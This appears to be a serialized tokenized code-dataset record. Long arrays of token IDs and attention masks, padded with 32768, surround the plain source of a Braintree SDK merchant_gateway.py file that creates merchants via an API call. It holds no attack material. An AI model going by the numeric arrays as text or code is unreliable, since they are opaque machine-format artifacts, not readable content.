32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 19840, 199, 646, 7554, 199, 646, 747, 199, 199, 504, 562, 706, 1710, 63, 3422, 14, 1974, 492, 3792, 199, 199, 318, 664, 63, 3150, 63, 493, 63, 515, 837, 272, 372, 747, 14, 515, 14, 904, 8, 3771, 14, 362, 63, 576, 63, 694, 1062, 298, 278, 706, 1710, 13, 3422, 14, 3150, 531, 199, 199, 318, 3145, 63, 3150, 63, 493, 837, 272, 862, 26, 267, 747, 14, 2168, 8, 362, 63, 3150, 63, 493, 63, 515, 1012, 272, 871, 2186, 26, 267, 986, 199, 199, 318, 2218, 63, 3150, 63, 493, 837, 272, 19840, 14, 2683, 8, 1807, 63, 3150, 63, 493, 9, 339, 543, 1551, 8, 362, 63, 3150, 63, 493, 63, 515, 1062, 283, 87, 358, 465, 289, 26, 267, 289, 14, 952, 3647, 83, 60, 78, 2, 450, 747, 14, 17829, 1012, 199, 199, 318, 664, 63, 1000, 63, 3150, 837, 272, 862, 26, 267, 543, 1551, 8, 362, 63, 3150, 63, 493, 63, 515, 1062, 283, 82, 358, 465, 289, 26, 288, 372, 1109, 8, 70, 14, 739, 1252, 1913, 1012, 272, 871, 5925, 465, 325, 26, 267, 340, 325, 14, 7931, 508, 7554, 14, 20465, 26, 288, 372, 488, 267, 746, 199, 199, 318, 365, 63, 1000, 63, 5720, 837, 272, 4422, 275, 664, 63, 1000, 63, 3150, 342, 272, 340, 4422, 365, 488, 26, 267, 372, 756, 272, 862, 26, 267, 327, 961, 1240, 911, 17961, 436, 886, 6548, 340, 314, 2112, 3495, 12, 267, 327, 436, 652, 911, 746, 376, 1919, 340, 314, 2112, 1630, 440, 2187, 14, 267, 747, 14, 8997, 8, 3150, 12, 378, 9, 267, 372, 715, 272, 871, 6440, 465, 325, 26, 267, 327, 961, 4910, 626, 314, 2112, 3495, 12, 1325, 365, 440, 23191, 701, 2739, 14, 267, 340, 325, 14, 7931, 508, 7554, 14, 37, 29065, 26, 288, 372, 715, 267, 372, 756, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
mnahm5/django-estore
Lib/site-packages/braintree/merchant_gateway.py
4
1221
from braintree.error_result import ErrorResult from braintree.resource import Resource from braintree.resource_collection import ResourceCollection from braintree.successful_result import SuccessfulResult from braintree.exceptions.not_found_error import NotFoundError from braintree.merchant import Merchant from braintree.oauth_credentials import OAuthCredentials class MerchantGateway(object): def __init__(self, gateway): self.gateway = gateway self.config = gateway.config def create(self, params): return self.__create_merchant(params) def __create_merchant(self, params={}): response = self.config.http().post("/merchants/create_via_api", { "merchant": params }) if "response" in response and "merchant" in response["response"]: merchant = Merchant(self.gateway, response["response"]["merchant"]) return SuccessfulResult({ "merchant": Merchant(self.gateway, response["response"]["merchant"]), "credentials": OAuthCredentials(self.gateway, response["response"]["credentials"]) }) else: return ErrorResult(self.gateway, response["api_error_response"])
mit
[ 504, 330, 3156, 850, 14, 705, 63, 1099, 492, 4520, 2889, 199, 504, 330, 3156, 850, 14, 1927, 492, 7337, 199, 504, 330, 3156, 850, 14, 1927, 63, 3627, 492, 7337, 7768, 199, 504, 330, 3156, 850, 14, 18157, 63, 1099, 492, 22318, 1893, 2889, 199, 504, 330, 3156, 850, 14, 3924, 14, 1397, 63, 4214, 63, 705, 492, 21909, 547, 199, 504, 330, 3156, 850, 14, 2626, 26938, 492, 18880, 26938, 199, 504, 330, 3156, 850, 14, 6126, 63, 6942, 492, 11715, 13428, 199, 199, 533, 18880, 26938, 12455, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 10391, 304, 267, 291, 14, 7019, 275, 10391, 267, 291, 14, 888, 275, 10391, 14, 888, 339, 347, 1218, 8, 277, 12, 1862, 304, 267, 372, 291, 855, 981, 63, 2626, 26938, 8, 1162, 9, 339, 347, 636, 981, 63, 2626, 26938, 8, 277, 12, 1862, 16420, 267, 1177, 275, 291, 14, 888, 14, 1014, 1252, 1932, 4769, 2626, 335, 2285, 15, 981, 63, 12897, 63, 1246, 401, 469, 288, 298, 2626, 26938, 582, 1862, 267, 3828, 398, 340, 298, 1310, 2, 315, 1177, 436, 298, 2626, 26938, 2, 315, 1177, 905, 1310, 6229, 288, 4004, 26938, 275, 18880, 26938, 8, 277, 14, 7019, 12, 1177, 905, 1310, 6611, 2626, 26938, 3135, 288, 372, 22318, 1893, 2889, 2561, 355, 298, 2626, 26938, 582, 18880, 26938, 8, 277, 14, 7019, 12, 1177, 905, 1310, 6611, 2626, 26938, 10252, 355, 298, 6942, 582, 11715, 13428, 8, 277, 14, 7019, 12, 1177, 905, 1310, 6611, 6942, 3135, 288, 3828, 267, 587, 26, 288, 372, 4520, 2889, 8, 277, 14, 7019, 12, 1177, 905, 1246, 63, 705, 63, 1310, 3135, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 330, 3156, 850, 14, 705, 63, 1099, 492, 4520, 2889, 199, 504, 330, 3156, 850, 14, 1927, 492, 7337, 199, 504, 330, 3156, 850, 14, 1927, 63, 3627, 492, 7337, 7768, 199, 504, 330, 3156, 850, 14, 18157, 63, 1099, 492, 22318, 1893, 2889, 199, 504, 330, 3156, 850, 14, 3924, 14, 1397, 63, 4214, 63, 705, 492, 21909, 547, 199, 504, 330, 3156, 850, 14, 2626, 26938, 492, 18880, 26938, 199, 504, 330, 3156, 850, 14, 6126, 63, 6942, 492, 11715, 13428, 199, 199, 533, 18880, 26938, 12455, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 10391, 304, 267, 291, 14, 7019, 275, 10391, 267, 291, 14, 888, 275, 10391, 14, 888, 339, 347, 1218, 8, 277, 12, 1862, 304, 267, 372, 291, 855, 981, 63, 2626, 26938, 8, 1162, 9, 339, 347, 636, 981, 63, 2626, 26938, 8, 277, 12, 1862, 16420, 267, 1177, 275, 291, 14, 888, 14, 1014, 1252, 1932, 4769, 2626, 335, 2285, 15, 981, 63, 12897, 63, 1246, 401, 469, 288, 298, 2626, 26938, 582, 1862, 267, 3828, 398, 340, 298, 1310, 2, 315, 1177, 436, 298, 2626, 26938, 2, 315, 1177, 905, 1310, 6229, 288, 4004, 26938, 275, 18880, 26938, 8, 277, 14, 7019, 12, 1177, 905, 1310, 6611, 2626, 26938, 3135, 288, 372, 22318, 1893, 2889, 2561, 355, 298, 2626, 26938, 582, 18880, 26938, 8, 277, 14, 7019, 12, 1177, 905, 1310, 6611, 2626, 26938, 10252, 355, 298, 6942, 582, 11715, 13428, 8, 277, 14, 7019, 12, 1177, 905, 1310, 6611, 6942, 3135, 288, 3828, 267, 587, 26, 288, 372, 4520, 2889, 8, 277, 14, 7019, 12, 1177, 905, 1246, 63, 705, 63, 1310, 3135, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 